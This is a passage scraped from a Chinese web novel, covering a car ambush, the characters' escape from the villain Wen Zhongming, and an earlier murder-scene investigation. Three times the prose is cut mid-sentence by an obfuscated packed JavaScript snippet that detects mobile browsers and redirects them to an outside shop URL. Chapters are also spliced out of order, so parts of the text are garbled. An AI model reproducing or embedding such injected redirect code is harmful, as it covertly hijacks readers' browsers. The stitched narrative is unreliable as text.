电话那头的语速也同样着急,甚至顾不上纠正“老宫”的称呼:“还能什么情况,事态失控了!短短一个小时,市里各个角落都冒出了温家的人,别的不说,我刚给你发过去的凤凰路,那儿直接被几辆横着停的大卡车给堵死了……” 正在开车的南希隐隐听到了些碎片声,双手紧握方向盘,眼睛往后瞥:“诶诶,怎么了?” 张笑远心里乱,没说话,直接把BB机从后面递了过去。 坐副驾的温雪生转身接过来,就着光,一字一顿地把上面的信息念了出来。 “靠!” 没等听完,南希就忍不住一巴掌拍在方向盘上。切诺基立刻发出一道短促而愤怒的鸣笛。 “三条路都给堵死了?那咱们还能走哪儿?!” 没有人回答。 沉重的静默压在每个人心头。他们都很清楚,想从目前的位置返回济东,凤凰路、长乐街、金山街是三条最主要的通道,也是必经之路。可是现在,所有的通道都被切断了。 希望,也被切断了。 然而,在这种情况下,南希非但没有减速,脚下反而加重了力道。 切诺基的引擎发出一声低吼,车身因突然的加速而震动起来。 “你疯了?!”后座的孙红失声叫道。 孙紫也紧张地抓住了前座的靠背:“开那么快干嘛?” “干嘛?”南希的嘴角扯动了一下,“到了现在这份上,当然是只能快走喽。慢吞吞的,不就是随了温重明那混球的愿了?” 她声音里透着点满不在乎的劲儿。她一向如此,局面越棘手,她反而越镇定,因为慌乱屁用没有。只有,那一次例外……她极快地扫了眼身旁的温雪生,心里某个地方像被羽毛极轻地挠了一下。 然后她迅速恢复常态,继续说:“我还偏不想让他得逞。” 可是南希不在乎,有人在乎。孙紫疾声说:“可这样下去,我们几个很快就会跟他们那群Black社会正面撞上,这跟送死有什么区别?!” 南希慢悠悠的,腔调有些气人:“冷静冷静。这不还没到地方吗?我们还有时间想想接下来到底该走那条路,拐哪个弯儿。放心,天无绝人之路。” 就在最后一个“路”字刚从她口中蹦出来的刹那,一直沉默的温雪生突然开了口,声音不高,却像投入死水的石头般沉重:“我想起一个地方,咱们或许可以绕去市里。” 其实,从踏上返回市区的省道开始,一种模糊的熟悉感就在他心底盘旋。他感觉这条路他走过,可是,是在什么时候呢?他被关在温沙城堡里太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一座城市疯狂扩张的十几年,一条位于城市边缘、可能连通着重要区域的小路,怎么可能维持着原来的样子?! 车上其他人,却因为他成功指引出一条能通往市区的路松了口气。一时间,车内充斥起劫后余生的喜悦。 张笑远抹了把额头的汗,孙红孙紫小声嘀咕着“有救了”。南希在旁边,嘴角弯起,声音轻松:“可以啊,小生生,你这脑子,比地图好使!” 温雪生机械地点了点头,心里没有丝毫欣喜,反而被一种巨大的、冰冷的阴影彻底笼罩。 不合理,也不科学。 这就像是一个精心布置的舞台,道具十几年不变,只等着特定的演员上场。 而且,万分危险! 这事一定有蹊跷! 他侧过身,一把抓住南希的胳膊,力道之大,让她吃了一惊。 “停下!”他颤抖着喊,“别开了,快停下!” 南希刚浮出的笑容瞬间冻结。她一歪头,脸上写满了茫然:“怎么了?这路不是对……” 然而,就在这电光火石之间—— 后座的张笑远瞳孔骤缩,发出一声嘶哑的大吼:“小心!!!” 话音未落。 咔嚓——嘣! 一声沉闷且巨大的断裂声从车底传来,伴随着金属扭曲的刺耳shen吟,所有人只觉得身体一轻,然后不可抗拒地向前冲去! 安全带狠狠勒进肉里! 失控的切诺基,车头朝下,像一只被陷阱捕获的野兽,带着一车人的惊愕与未喊出的尖叫,轰然摔进了不知深浅的黑暗。 尘土腾起,吞噬了最后一点光亮。 58. 第 58 章 摔进沟里的切诺基,像个被揉烂了的铁皮罐头,歪斜地杵在沟底。 “这边,多来几个人,快来,这个门打不开了!” 几道手电光柱在残骸上乱晃,人影幢幢。 有人开始用家伙砸变形的车门。 咣咣咣! “别砸啊,越砸越开不了!”另一个声音着急地喊。 “来,我喊一二三,咱一块使劲儿!”一个好似领头的人扒住了车门的缝隙。 “一!” 嘎—— 金属发出令人牙酸的shen吟。 “二!” 吱—— 缝隙似乎大了一点儿。 ”三!” 咔——咔——咔! 一连串断裂的脆响,车门终于被硬生生扯开,带起一片烟尘。 南希咳嗽了几声,鼻腔被一下子涌进车厢的尘土呛到。 头好痛…… 身体动不了…… 肋骨处火辣辣的,每一次呼吸都有灼痛的感觉,好像是骨折了…… 怎么搞的?…… 哦,她想起来了。 刚才她开着切诺基,夜太黑,路况也差,前面突然出现的大沟她根本没看到…… 车子以将近100迈的速度,一头栽了进去! 100迈啊! 没有粉身碎骨,她竟然还活着?! 这算运气好还是不好? 对了,小生生!他怎么样?!他坐在副驾! 还有张笑远,孙红和孙紫…… 她忍着疼痛,勉强睁开仿佛被黏住的眼缝儿。 这时,一道强光射了进来,耀得她又立马闭上了眼。 脑袋像炸了一样,嗡嗡作响,然后,她的意识再次陷入了恍惚。 “快快快,就是他,温大少!”几个黑影挤到副驾那边。 “死了没?” “不知道啊,身上都是血!” “把他弄出来!” “不行啊,他的腿卡住了,得先弄旁边那个!” 小生生…… 南希心里一颤,她动了动手指,想要抓住旁边那个模糊的身影,确认他的存在。忽然,耳边感觉到一阵风刮了过来,是有人靠近,然后又飞来一阵尘土,接着,一股强横的、不容抗拒的力气箍住了她的上半身,把她从扭曲的驾驶座上往外拽了出去。 她觉得自己轻飘飘的,然后又重重地跌落,再然后,只觉得浑身上下无处不疼,肋骨处的痛楚更是尖锐得让她快要晕厥。 两个穿着黑衣服的壮汉,一言不发,一人一边架起她的胳膊。她的腿软绵绵地拖在地上,在干燥的土路上划拉出一道清晰的血痕。 他们把她拖到离大沟几米远的路中央,像扔垃圾一样撒了手。 而她头朝下趴着,尘土的气息混杂着血腥味冲进了鼻子。 然后,耳边又响起了人声。 这个声音赖叽叽的,拖着长腔,透着一股刻意的嚣张。 她好像在哪里听过…… “呦,你们倒挺够意思,把这对鸳鸯都给弄出来了啊!”那声音停顿了一下,似乎在打量,然后继续,“诶,跟他们一块的那仨能打的呢?” “嘿嘿,回老大,那仨早咽气了!”一个谄媚的声音立马回,“您放心就成,都压车里了!” 南希的心一下子跌到了谷底。 她清楚,他们说得那仨是指“破晓”的张笑远,孙红,还有孙紫。 咽气……他们都死了吗? 几个小时前,张笑远还在意气风发地指挥破晓成员,孙红孙紫那对双胞胎还在从容地检查装备……他们的模样,如此鲜活生动…… 死? 怎么可能? 她不相信! 南希紧紧攥住了五指,在手心里抓起一把干硬的土。 她心里有愤怒,只有愤怒。 愤怒像野火一样烧遍全身,烧尽了本应该有的悲伤。 “呦,还有力气呢?拳头握得这么紧?想揍谁呢?” 这时,那个赖叽叽的声音又响了起来,随之而起的还有一阵不紧不慢的脚步声。 那脚步砸在地上,因为南希也趴在地上,所以她感觉那脚步正一震一震地向自己逼近。 不过她没有丝毫害怕。 害怕没用,她不打算放弃任何逃生的希望,哪怕希望看起来十分渺茫。 她屏气凝神,通过耳朵分辨周围的状况。 她旁边有道不稳的喘息,那应该是温雪生,他和自己一样,正趴在地上。 除了温雪生,周围应该还有六七个打手。他们在她身后,像是排了一排,正沉默地站着。 然后,她又飞快地估计了下自己还剩下的力量。 她的肋骨肯定断了,但是胳膊和腿,忍着剧痛似乎还能动。 最重要的是,她的脑子已经清醒。 于是,一个粗糙但直接的计划迅速形成: 等那个脚步走到她身前,走到足够近,她就探身抱住他的脚腕将他撂倒,然后撑地甩身,利用惯性把手里的土扬起来,撒进身后那一排打手的眼睛里,接着,再用不太疼的那条腿,把他们扫倒在地。当然,这些动作一定要快,只有快才能出其不意,才能先发制人。 如果一切顺利,如果她还有力气,完成这些后,她会扛起温雪生,尽可能向身后的黑暗里逃。 至于能逃多远,逃到哪儿,不是她现在该想的,她只需要尽力去做,如果要死,她也得在反抗中死,不能像待宰的牲口一样。 做好这个决定,她的心里不再有任何涟漪,像结了冰的湖面,只等着那个脚步慢慢逼近。 一步,两步,三步…… 就是现…… 然而,那个脚步竟又迈出了第四步,第五步,第六步…… 对方根本没有走到她身边!反而越来越远! 脚步声最终停在了距离她两米远的位置上。 一双锃亮的皮鞋尖出现在她模糊的视野边缘,正对着温雪生的脸! 那脚步的主人垂下头,露出了他跟猴子一样的眼睛,是温重明。 他冷漠地看着地下软成一滩,却紧握着拳头的男人,然后一把揪住他的衣领,把他上半身提离地面,几乎是贴着他的耳朵说:“喂,说你呢,我的好弟弟,你把拳头握这么紧,难道是要把它挥向你的好哥哥我吗?!” 话音未落,后面的一个打手像是接收到了无声的指令,突然上前一步,熟练地抓住温雪生的胳膊,双手用力,反向一折。 只听“嘎嘣”一声,那胳膊瞬间成了个不自然的直角。 刚才还紧攥的拳头随之不自然地松开,无力地垂落了下去。 温雪生喉咙里发出一声压抑到极致的闷哼,硬是没惨叫出声。 温重明嘴角一勾,伸手拍打他的脸。 温雪生沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那个一直像死了般趴在地上的女人,竟像豹子一般弹地而起,同时扬手撒出一片灰蒙蒙的尘土,那些他带来的打手顿时嗷嗷叫唤着捂住了眼睛。 而那女人身影如风,单腿支地,另一条腿如同钢鞭般迅捷扫出! 噗通! “哎哟!” 一连串倒地声和痛呼声接连响起。 那身影毫不停滞,借着一扫之力旋身,飞扑向温雪生,用肩膀奋力驮起他,跌跌撞撞就朝远处的黑暗冲去。 温重明手忙脚乱地扶地爬起,脸上沾着唾沫和尘土,混合成滑稽又狼狈的图案。 他望着那个逃窜的背影,望了一会儿,蹙起的眉头竟渐渐平整了。 然后,他慢条斯理地打扑了下身上的土,没有立刻命令追击,因为他看得很清楚,那女人的动作越来越慢,身体越来越趴,她驮着温雪生的肩膀塌陷得厉害。 他知道,她刚才的爆发已经耗尽了最后的气力,现在的她已经是强弩之末,逃不出多远。 “啧,真够劲儿。”他低声嘀咕了一句,不知道是赞叹还是抱怨。说实话,刚才有那么一瞬间,他确实感到了震惊,甚至有些佩服那个女人,都伤成那样了,身上明显有骨折,却还能有这种惊人的速度和力量,强得简直不像是人。 还好,他按郑司令说的,提前安排了人在这路上设了埋伏,先折损了他们最强的三个战力,不然,今晚还真可能在阴沟里翻船。 温重名的视线尽头。 南希正咬着后槽牙艰难前行。 驮着温雪生的那条胳膊酸麻剧痛,肋骨处的疼痛已经不再是单纯的刺痛,而是一种弥漫性的撕裂感,每一次迈步,每一次喘气,都让她眼前发黑,几乎要晕过去。 脸上的血水和汗水混在一起,黏腻不堪,不一会儿,又掺上了新的液体。 那液体从她头顶上方滑下,掉进了她干裂的嘴里。 很咸。 59. 第 59 章 然后,温雪生的声音断断续续地传来:“……放下我……你自己……走……” 南希没有回应,甚至连一个音节都没有发出。因为只要张开嘴,她可能就会泄掉强提着的那口气,可能就会痛呼出声,可能就会彻底崩溃。 她的肋骨实在太疼了,她都能感觉到,那些断裂的骨头茬子在刺着自己的心肺和血肉,她快要意识不清了…… 温雪生被她驮着,知道她的身体和精神都已经到了极限,就像一根绷紧到极致的弦,随时都会断裂。 然而,他什么都做不了,甚至不敢轻易从她背上跳下来,任何突兀的动作都可能让她立刻倒下。 她都已经这副模样,却还在坚持支撑着他,他不能添乱,只能尊重她。 可他的心早就被后悔和自责填满,如果不是他,张笑远、孙红、孙紫就不会死……如果不是他,南希也不会在眼前的绝境里挣扎…… 他就是个祸害,所有跟他沾上关系的人都没有好下场,就像他的妈妈,他的哥哥……他早就该死了,他怎么就不早死呢?为什么还要再连累这么多人…… “喂,你们还要这样蜗牛爬到什么时候?” 远处,温重明令人作呕的声音穿透空气,打断了他的思绪,他听到他戏谑地喊着:“哎呀,我已经等不及了,我劝你们干脆早点放弃,这样还能少受点苦。现在整个济东,不,应该是整个世界都没有人能救你们了,那仨能打的死了,李管事被我绑了,甚至是温四,你们想不到吧,他已经被郑司令控制了!” 郑司令! 这个称号钻进温雪生的耳朵,像一根钉子似地扎了进去。 他突然一阵恍惚。 那个男人常年深眯的眼睛一下子浮现在眼前,清晰得可怕。 小时候,郑司令是家里的常客,他会和爸爸在书房里低声谈笑;会系着围裙,在厨房帮妈妈择菜;会和哥哥在院子里比划拳脚,然后大笑着摸哥哥的脑袋…… 也会把自己抱起来,高高举过头顶。 那是小温雪生最开心的时刻之一,因为被举得很高,他的视野变得很开阔,他兴奋地咯咯笑,挥舞着小手,叫着“郑叔叔,再高一点,再高一点!”。 然后,那双拖举他的手,毫无征兆地,松开了。 而他像块石头一样,被从高处重重摔落…… 温雪生的身体不自然地抖动了一下,他感觉大脑被什么东西,一下子击穿了。 然后,世界疯狂地旋转起来,无数乱七八糟的记忆碎片像是找到了决堤的缺口,转动着,咆哮着冲泄而出。 他分不清哪些是真,哪些是假,只觉得一股寒气从脚底板直逼天灵盖。 南希何等敏锐,哪怕已经筋疲力竭,也很快捕捉到了温雪生的变化——那趴在她背上的人突然变得冰冷且僵硬。 她顾不上什么泄气不泄气,微微侧过头,用力从喉咙里挤出一声:“喂……” 可是,温雪生没有理会,他的目光一片空洞,跟灵魂被抽离了似的。 南希正好瞥见他失焦的眼睛,心里猛然一慌。 这一慌,脚下便踩了个空,本就强弩之末的身体彻底失去了平衡,带着背上的温雪生,像两截沉重的木头,向前栽去。 然而,在倒地前的那一瞬,温雪生不知从哪爆发出了一股力气,那只完好的手臂突然环住南希,腰身用力,硬生生在半空中扭转了两个人的位置。 砰! 一声闷响。 温雪生结结实实地垫在了南希身下。 南希的额头砸在他的胸膛上,那胸膛不算柔软,却缓冲了大部分冲击。 下一秒,南希听到了胸膛里传来如擂鼓般的心跳,紧接着,是对方沉沉的话,压着喘息,一字一句:“你还记得,你从我房间床头柜里,拿的那个东西吗?” 南希强忍疼痛,缓缓抬起头。 两人的脸离得很近,鼻尖几乎相触,气息不可避免地交融在一起。 她当然记得。 当时,她为了“蓝宝石”任务,潜入温沙城堡三楼,偶然发现了那个藏在床头柜暗格里的东西,然后才拥有了与这位温大少爷做交易的筹码,把他们原本平行的人生强行扭到了一起。 她点了点头,动作很轻,但还是牵动了肌肉,引来一阵抽痛。 温雪生的眼睛斜下来,与她对视。他的瞳孔似乎找回了一点焦距,但深处依旧是一片荒芜。 他再次问她,还是关于那个东西:“你,看过吗?” 南希愣了一下,随即坚定地摇了摇头。 她拿到那东西后,确实打开扫了一眼,知道那是什么后,便立刻阖上了。她讨厌别人窥探自己的隐私,同样,她也绝不会主动去窥探别人的,这是她的原则。 温雪生极其浅淡地勾了一下嘴角,像是想笑,却又无力完成。 “谢谢你,没有看。”他虚弱地说。 与此同时,远处的温重明不耐烦地吆喝起来,然后,打手们杂乱的脚步声响起,手电的光柱在他们周围的土地上乱晃。 情势已经火烧眉毛,南希实在不明白温雪生为什么要在这种时候,纠结一个无关紧要的东西。她正要着急地回些什么,比如“快起来”、“别说废话”,可温雪生的声音又出现在耳边。这一次,他的声音很轻,像是从很远很远的天边,被风送过来的: “君如清露洒人间,我是凡尘偶相逢。” ? 南希不禁蹙紧眉头,下意识瞥了眼身后越来越近的人影,心急如焚。她试图用手肘支撑地起身,然后再去拉温雪生:“什么啊,我听不懂!先别说这些没用的,快起来,走!” 可温雪生太沉了,而她自己的力气早已透支殆尽。力的反作用下,她非但没把他拉起来,反而再次失去平衡,又砸回到他胸口上。 “啊……”她听到身下的人发出一声压抑的闷哼。 然后,世界竟陷入了一种诡异的安静。 男人的喘息声,身后逼近的脚步声,打手们的吆喝声,甚至夜风掠过枯枝的呼啸声,沙尘被鞋底扬起的摩擦声…… 所有的声音,在这一刹那,都消失了。 像是被一只无形的手猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764741|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地掐断; 像是骤然跌入了绝对的真空; 像是死亡降临前,那片刻仁慈的宁静…… 然后,在这万籁俱寂之中,整个世界轻轻地、缓缓地飘下一句话,落在南希的耳膜上,清晰得令人心悸: “能遇到你,是我这悲惨人生中,最幸福的事。” * “前面,那棵大树看见没?右拐。”温雪生的语气平稳得不带一丝波澜,与窗外飞速后退的漆黑景物形成反差。 南希按照他的指挥打了把方向盘。 “左,贴着那排破围墙走。”温雪生继续说。 “直走,别管那个小岔路。” “对,就是这个方向。” …… 随着他一句接一句的指引,切诺基在越来越狭窄、越来越昏暗的路上左拐右拐,最终驶入了一条颠簸不堪的荒野土路。 南希一直紧绷的肩颈肌肉稍稍放松,从喉咙深处吐出一口浊气。 唉,总算是找到回市里…… 这时,温雪生又开口了,声音压低了许多:“慢点开,这里太安静了,不对劲,说不定会有埋伏。” 后座上,一直保持警惕的张笑远立刻出声附和:“不错,越是这种看似安全的地方,越需要谨慎,温重明不会让咱们轻易回济东的。” 南希刚松懈一点的神经又紧张起来,第六感回归,她也隐隐感到某种不安,总觉得暗处有许多眼睛在盯着她。 她左手扶稳方向盘,右手迅速抓住别在胸前的夜视镜,戴到头上,眼前的世界瞬间明亮如昼。同时,她将副驾前面的望远镜抄起,头也不回地扔到后座。不需多言,张笑远默契地接过,挂在了脖子上。孙红孙紫也从包里拿出装备,一时间,车里的每个人都提起了十二分精神,警惕地扫视窗外,防范可能从任何角度出现的袭击。 切诺基的速度降了下来,比步行快不了多少。这样行驶了约莫七八分钟后,南希的瞳孔突然一缩。 前方的道路看似平坦,但透过夜视镜,她清晰地看见地面有一段不自然的塌陷——一条很深的大沟横亘在土路中央!几乎在同时,她用眼角的余光捕捉到,道路两侧那些稀疏的树林后,似乎有几点不自然的反光,它们与环境融为一体,很难分辨那是什么。 “有情况!”她低喝一声,脚下已经条件反射地踩住了刹车。 就在她出声示警的一瞬间,切诺基后门被猛地从里面推开,三道矫健的身影,如同蛰伏已久的猎豹,在车辆还未完全停稳的刹那,已然跃出车厢! 动作干净利落,没有半分迟疑。 张笑远落地一个前滚翻,消解冲力,起身时手里已多了一把闪着寒光的军刀,身影如鬼魅般扑向树林。 孙红和孙紫姐妹心有灵犀,分别扑向左右两侧。孙红手腕一抖,一截特制的合金短棍滑入掌中。孙紫则更为直接,人未至,几点寒星已从指间射出,精准地射向藏匿在树林后的反光。 没有喊杀声,只有身体急速移动带起的风声,和武器破空的锐响声。 战斗在黑暗中瞬间爆发。 17-20 第17章 迷局 南希睡了一大觉。 精神饱满醒来时,手机里多了好几个未接来电。 刘总的电话号码出现了四次。 烦。 不想理。 剩下有三个号码……不熟。 她随便选了一个拨回去:“喂,请问您是哪位?给我打电话了吗?” 对面语气不好:“……你不知道我电话?” 南希一愣,这个声音…… “小生生?!” 她几乎是喊出来的。 “嗯。” 激动过后,南希陷入了紧张。 毕竟,她才去了趟碧海阁,那地方就被强制整顿了…… “小生生,你是来找我问罪的吗……冤枉啊!不是我……你们家碧海阁出事前我就走……” “王有才死了。”温雪生打断她,并且提高了声音。 “啊,这事儿我知道,我跟你说,特别邪乎……”南希顿了下,“诶,你这语气,该不会觉得王有才的死跟我有关吧?我告诉你啊,我可是良民,只偷东西不搞人命!” “这也算良民?” 南希鼓起腮帮子:“你还有别的事吗?我忙得很。” “王有才死了。”温雪生重申。 “被人拿刀捅死的。” 南希的眼睛不由睁大了。 “昨晚,有人在他死亡现场附近看到了一个披着红色头发的背影。目前,警察已经锁定‘红发女鬼’为犯罪嫌疑人。所以,不管你现在在哪,做什么,尽快躲起来,不要继续作案。” 南希严肃起来:“你怎么知道这些?” 温雪生没作正面回答:“消息可靠。” 胸口“砰砰”地跳着,南希抬手强行按住。 “谢谢。” 然后她挂断了电话。 没一秒钟,手机又“哔哔哔”地开始闹腾。 南希斜眼。 是刘总。 她按下接听键。 “小张啊!!王有才死了!!!” 又是这句话!南希想摔手机。 “知道知道知道!我今天一大早就在广播里听着了!真是靠了,他早不死晚不死,怎么偏偏这个时候死!” 南希愤怒地把温雪生的消息转告给刘总。 刘总听后,沉默了好一阵,再开口时,语气难得恢复了平静。 “那你昨晚去没去王有才被杀的地方?” 南希回想起昨晚的事。 恍恍惚惚,亦真亦幻。 她眯眼对着话筒:“很不幸,昨晚,我不仅去了,我还在那地方待了整整一夜。” * 二月十四日晚九点二十五。 “警察!警察要来了!大家快跑!!” 因为这句话,不知哪个没脑子的把碧海阁的大门锁了,说是要挡警察,于是,所有人只能通过狭窄的后门逃生。 夜总会光线昏暗,人们跑得急,不管不顾,肩摩肩、脚踩脚。 南希看情况不妙,直接避开人群翻了窗。 街上行人不多,她顺利溜进胡同里的切诺基,喘了口气,然后习惯性地打开便携电脑。 屏幕上,代表王有才的小圆点正迅速朝北移动。 这孙子逃得还挺快! 这样想着,南希忽地一愣。 王有才车上的定位器竟然能发信号了! 她立马带上耳机,连接定位器旁边的窃听器。 也有声音。 “快开,再快点!” 是王有才的癞□□声。 南希果断提手刹,打火,盯着那小圆点,一脚油门追了过去。 一路追到济东北头。 王有才的车消失在一栋大别墅里。 南希随即一手举望远镜,一手转方向盘,绕别墅转了一圈。 这别墅的外墙比一般的都高,整整挡了一层半的窗户。南希从外面观察,能获得的信息非常有限。 而且别墅灯火通明,像是住着很多人。 这种情况,即便她换上夜行衣溜进去,怕是也很难找到能落脚的阴影地儿。 南希不敢贸然行动,理了理头绪,决定等,等王有才自己出来。 别墅的灯就这样一直亮着,直到四个小时后,一阵警笛打破了深夜的平静。 远远的,南希瞧见四辆警车和一辆救护车飞速开进了别墅。 没多久,别墅三层楼全部陷入黑暗。然后,几辆车一一驶离。 她又通过高倍望远镜看过去: 一扇扇车窗后面,映着一个个受惊的脸。 警车里竟然坐满了年轻漂亮的女孩! 南希简单描述完这段经历,起身打开窗户,点了一根烟。 刘总好不容易才平静下来的声音,又多了几分不安:“小张,你的意思是,你虽然在那地方呆了很久,但压根就没戴着红头发下车?” 南希吐烟圈:“Bingo。当时我摸不清状况,警察走后,我又继续待车上等到天亮,然后就听到了王有才去世的消息。” 刘总:“那你今天白天干什么去了?你电话怎么一直打不通?” 南希叹气:“刘总,你能多用脑子想事,而不是用脚趾头想吗?我能干什么呀?我通宵犯困睁不开眼,我当然是回家补觉去了啊,不休息休息今天咋干活?” “王有才都死了你还睡得着?!” “不做亏心事不怕鬼敲门,王有才又不是我弄死的,我为什么睡不着?” 刘总噎住:“好好好,小张,你厉害!你任务没完成,还成了杀人犯!我就看你接下来打算怎么办?!” “呸,晦气!谁是杀人犯啊!” 初春的风拂过少女白皙的脸庞。 南希望着远处的钢筋混凝土工地,又吐出一个烟圈。 竟是颗爱心的形状。 她眉心舒展,眼睛也亮了,在烟圈未被吹散之前,伸出手指戳到爱心中间,满意地笑起来。 “刘总,你别急呀。其实一开始我也急,但是事情乱成现在这个样子,我反而不急了,急也白搭。至于接下来,我打算今晚去那栋大别墅里好好转转。” * 晚十一点。 南希在北郊别墅悄悄摸索。 别墅外面拉着警戒线,里面还保持着之前混乱的现场,只是少了制造混乱的人。 南希迈过一片呕吐物似的脏东西,和一堆横七竖八的啤酒瓶,找到王有才倒下的地方。 血迹已经干涸,木地板上画着歪歪扭扭的人形轮廓,周边围了一圈黄色警戒线。 窗户半开着,风裹着月光“嗖嗖”刮进来,阴森森的,像是谁在哭。 南希打了个寒战,小心翼翼地绕过这个死亡现场,不想再停留一秒。 她怕鬼。 但除此之外,她几乎翻遍了整个别墅,都没找到其他特殊信息。 她想,白玉佛大概被王有才的尸体带走了。 当然,这是一种对她有利的可能性。 虽然恐怖了点儿,但从死人身上偷东西,比从活人身上要容易得多。 同样,也存在不利的可能,比如说,白玉佛落到了其他人手里…… 南希摇了摇头,控制住自己的胡思乱想。 她是走狗屎运的,对她来讲,只考虑有利的情况就好了。 心情放松了些。 视线不经意地,扫到不远处警戒线里的人形轮廓。 看来,第一步得确认王有才的尸体在哪儿。 嗖嗖—— 外面再次掀起阵风。 窗边的白纱帘飘飘荡荡,折射着点点幽幽的红光。 红光…… 哪里来的红光?! 刹那间,南希浑身汗毛竖起,一种被无形之物的窥视感,死死贴着后背。 身体在一点点僵硬,快要动不了了。 趁着还能动,她是该逃还是回头看看?! 叮铃—— 一枚两毛钱硬币落到地上。 她瞄过去。 正面。 回头看…… 怎么能是正面?!她不敢回头啊…… 要不再抛一次…… 哔—哔哔—哔— 手机铃声? 兜里的摩托罗拉在响。 哪个混蛋这个时候打电话?! 南希回想起曾经因好奇看过的外国恐怖片,额头滑下冷汗。 她真的要动不了了。 铃声便继续响,响了停,停了又响…… 再这样下去,就算没鬼也得把鬼给招过来。 靠! 南希咬牙闭眼,强行催动手臂掏出手机,颤声:“喂?” “……是我。不是让你躲起来吗?为什么还要去案发现场?” “……” “你怎么了?为什么不说话?……你哭了?” “……笑话,我怎么会哭?”南希擦了擦被吓出泪珠子的眼角,“说起来,刚才我感觉有人盯着我,原来是你派人监视我呢,小生生?” “我没派人监视你。” “那你怎么知道我在这儿?” “我是,我是让人看着那栋别墅……” “没事你干嘛让人看……”话说不下去了。南希意识到,王有才跟隐居城堡的大少爷八杆子都打不着,温雪生这么做,只会有一个目的,“难道,是因为我?我猜一下,你想及时掌握案发现场的情况,帮我洗清嫌疑?” 电话另一头没再出声。 南希当他默认。 心里涌上一种说不明的复杂情绪,竟直接把刚刚的恐惧挤到了一边。 她拿着手机,转过了头。 天花板上,一个忽闪忽闪的红点正在注视她。 “小生生!”南希捂住嘴,尽量将自己惊讶的喊声控在手心,“我好像发现了一个不得了的东西!” 说着,她跳上身旁的圆桌,纵身一跃,把那东西够了下来。 如她所料。 “是监控器。” 温雪生回:“监控器……这东西价格不低,用起来也费钱,温沙城堡都没装,王有才竟然这么舍得?还有,为什么警察没把它带走?它……” 话没讲完,电话里响起南希的嘟囔: “打不开。” 温雪生:“什么?” 南希:“监控器上都会有记录录像的磁带,我手里的这个被加了电子密码,打不开。” 温雪生沉默了几秒:“找找别墅里还有没有其他监控器,如果有,一起带到温沙城堡。我帮你破解。” “啊,你?” “……和你一样,我也是济东大学的。专业是计算机科学与技术。” 第18章 录像带 “这些给你,真能破解?” 南希蹲在温沙城堡三楼窗台,左手扶窗框,右手提大包。 温雪生感受到一阵凉风,抬起头时,便瞧见了乱飞的纱帘和披着银色月光的女孩。 “咳……”他清了清喉咙,“我跟你说过,今天可以走正门……” 南希跳下窗,没有一丝声音。 温雪生难得没躺床上,也没穿邋遢的睡衣。他坐在书桌前,手里翻着一本厚重的书,身上利索衬衣配西服,一看就是精心打扮过的。 “还是走窗户方便点,一进来就能看到你,而不是看到那张刀疤脸。” 她的嘴角咧到了耳根。 温雪生视线闪躲:“你,你为什么笑成这个样子?” 南希一步步上前:“心情好。” 不知是光线太暗,还是发生了错觉,她觉得温雪生脸上的纹路,好像一条都瞧不见了。 眼前这张脸光滑白嫩,实在漂亮得有些过头。 “别过来。”温雪生提高嗓音,“我只答应你破解密码,没答应别的……”他起身去够南希手里的大包,好像只要拿到东西,对方就没理由再靠近。 南希预判到他的动作。 “别动,沉……” 虽然这样说,她还是松了手。 温雪生便被那一大包沉甸甸的监控器拽得向一侧歪去,南希跟着他,一手楼住他的腰,“都说了别动。”另一只手借势在那张小脸上揉了一把,“呦,还真是一条纹都没了呢。上次谁硬跟我犟来着?” “别太过分!” 温雪生恼羞成怒,推开她,身上虚汗直冒,嘴里粗气直喘,“戏弄我就那么好玩吗?!” 南希见他真生气了,楚楚可怜地看他:“我哪有戏弄你,是你来抢监控器的……是你说纹消不了……还有,你,哪儿我没碰过……” “你……” 听完这些,温雪生只觉得一闷气堵在了胸口,仅剩的右眼顿时失了焦,身体晃晃悠悠地倒退,如果在武侠片里,下一秒大概要喷出血来。 南希吓坏了,追过去,忙扶他坐椅子,替他捋前胸顺气。 “好了好了,别气了别气了,我不说话了还不行吗?”脑袋耷拉着埋他腿上,“小生生,你可别吓我啊,我要是早知道你气性这么大,肯定不会逗你……” 温雪生没见过啥世面,火性来得快去得也快,算是个好哄的男人,见南希认错道歉,气息渐渐平稳了下去。 南希斜眼,瞅到他起伏放缓的胸膛,竟又开始不老实。那顺气的手悄悄解开他卡在喉骨的扣子,沿着衣领摸进他的左胸。 温雪生按住她,喘息又急:“你,你是不是真想让我死?” 南希下巴抵着他的大腿,从下往上看他:“怎么会?小生生,你还没帮我破解密码呢。” “破解了就可以让我……” 南希打断:“破解了也不舍得。” 温雪生低头,衣扣开了三四个,除此之外,一张委屈的脸蛋几乎靠在了他两腿根儿上, “……你这样……我怎么解?” “唉。”南希意犹未尽却又无可奈何,不舍地放过了他。 温雪生赶紧跌跌撞撞逃回书桌。 南希杵在原地,只用目光追他,回想起自己对他三番五次的欺骗,皱紧眉头:“小生生,你不会不帮我了吧……” 温雪生按下电脑主机的开机键,脸上顿时泛起一层蓝光。 “……你以为我会跟你一样?”声音停了几秒,“把监控器拿过来吧……” “好!” 南希乖乖听话,还搬了个凳子,坐书桌边上,安静地看他忙碌。 却只安静了一会儿。 “小生生,你这是怎么弄的?说实话,我没想到你真能搞这玩意儿。” “小生生,你连温沙城堡都出不去,怎么上的大学?” “小生生,你高考多少分啊?” “……”温雪生放下监控器,“安静,如果你还想让我干活的话。” “至少允许我问一个问题嘛……” “……问。” 